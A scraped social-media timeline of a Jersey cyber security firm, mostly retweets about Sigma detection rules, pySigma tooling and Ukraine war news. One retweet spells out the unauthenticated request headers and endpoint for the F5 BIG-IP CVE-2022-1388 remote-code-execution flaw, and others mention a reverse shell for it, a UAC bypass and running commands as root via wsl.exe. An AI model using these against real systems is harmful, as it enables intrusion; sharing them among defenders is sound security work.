Defence Logic Limited (@DefenceLogic) header
Defence Logic Limited (@DefenceLogic) profile picture

A boutique cyber security firm based in Jersey offering various services and solutions.

Bailiwick of Jersey.
Joined September 2017
Photo by Defence Logic Limited (@DefenceLogic)Photo by Defence Logic Limited (@DefenceLogic)Photo by Defence Logic Limited (@DefenceLogic)Photo by Defence Logic Limited (@DefenceLogic)Photo by Defence Logic Limited (@DefenceLogic)Photo by Defence Logic Limited (@DefenceLogic)Photo by Defence Logic Limited (@DefenceLogic)Photo by Defence Logic Limited (@DefenceLogic)Photo by Defence Logic Limited (@DefenceLogic)Photo by Defence Logic Limited (@DefenceLogic)
Defence Logic Limited retweeted
If you want to help us improve the public @sigma_hq rules, this 👇 is a guide on when we filter FPs and when we accept them Also check the rule levels: github.com/SigmaHQ/sigma/wik… Please provide filters for FPs with standard software as pull requests in the public repo
Replying to @yamatosecurity
Thanks for the feedback These are the rules reg. false positives& tuning critical - should never produce FPs high - can produce FPs with custom software, shouldn't produce FPs with standard software medium - noteworthy events, no alerting, FPs accepted low + info - FPs accepted
Defence Logic Limited retweeted
In addition to the documented "-e/--exec" flag in #lolbas about the "wsl.exe" binary (lolbas-project.github.io/lol…). We can also use the "--system" flag to run Linux (as root) /Windows commands. wsl --system [Command]
6
180
3
611
Defence Logic Limited retweeted
.@blubbfiction published a Cookiecutter template to facilitate the creation of backends for pySigma nitter.gq/blubbfiction/status/15… pySigma is the new basis for conversions github.com/SigmaHQ/pySigma Sigma-cli, which uses pySigma replaces the old&inflexible sigmac github.com/SigmaHQ/sigma-cli
I've created a Cookiecutter template for pySigma conversion packends and processing pipelines: github.com/SigmaHQ/cookiecut… Create your own backend from this template with: cookiecutter github.com/SigmaHQ/cookiecut…
12
42
Defence Logic Limited retweeted
Replying to @j00sean @cyb3rops
UAC prompt bypass with some clicks extra over here. nitter.gq/j00sean/status/1531773…
Not as cool as other things related to #Follina, but there's a chance to execute High IL payload with some additional clicks. UAC prompt bypass, though.
3
4
Defence Logic Limited retweeted
Scan for F5 BIG-IP iControl REST Auth Bypass RCE (CVE-2022-1388) using nuclei template shared by @dwisiswant0 Template PR: github.com/projectdiscovery/… Advisory: support.f5.com/csp/article/K… #hackwithautomation #security #bugbounty #appsec
1
113
2
284
Defence Logic Limited retweeted
Reverse Shell for #F5-Big IP CVE-2022-1388
5
135
7
573
Defence Logic Limited retweeted
#CVE-2022-1388 F5's BIG-IP Unauth RCE Connection: keep-alive, X-F5-Auth-Token Authorization: Basic YWRtaW46 X-F5-Auth-Token: anything https://x.x.x.x:443/mgmt/tm/util/bash
6
214
23
548
Defence Logic Limited retweeted
#Ukraine: In some significant news, it appears that the Czech Republic is supplying "dozens" of T-72M1 tanks & BVP-1 IFV to the UA forces. Whilst the T-72M1 is rather old (slightly altered T-72A1), & so are the BVP-1 (BMP-1 with very minor changes), they would still be of use.
257
1,101
106
9,654
Defence Logic Limited retweeted
Here is a little more info/context from local media: echo24.cz/a/SrjYb/cesko-posl… and some HQ images also of a few of the vehicles. Note: This is totally separate from the supply of Pbv 501 (Mildly modernised BMP-1s formerly operated by Sweden) to Ukraine, which is also taking place.
35
197
6
2,080
Defence Logic Limited retweeted
#Ukraine: This time, the Ukrainian farmers grabbed themselves a ZU-23-2 23mm autocannon from Russian forces.
250
1,707
301
11,093
For those that don’t already follow @shortxstack, proceeds are being donated to Ukraine support causes. #ghostofkyiv
1
6
1
8
Defence Logic Limited retweeted
Replying to @cyb3rops
Nice, but you would likely DoS your detection system with so much regex per packet..
2
1
22
Defence Logic Limited retweeted
Someone has built a huge regex to cover many obfuscated versions of the log4shell payloads Really nice, I'll test it and update my gist Repo github.com/back2root/log4she… Test regex101.com/r/KqGG3W/3
13
228
5
724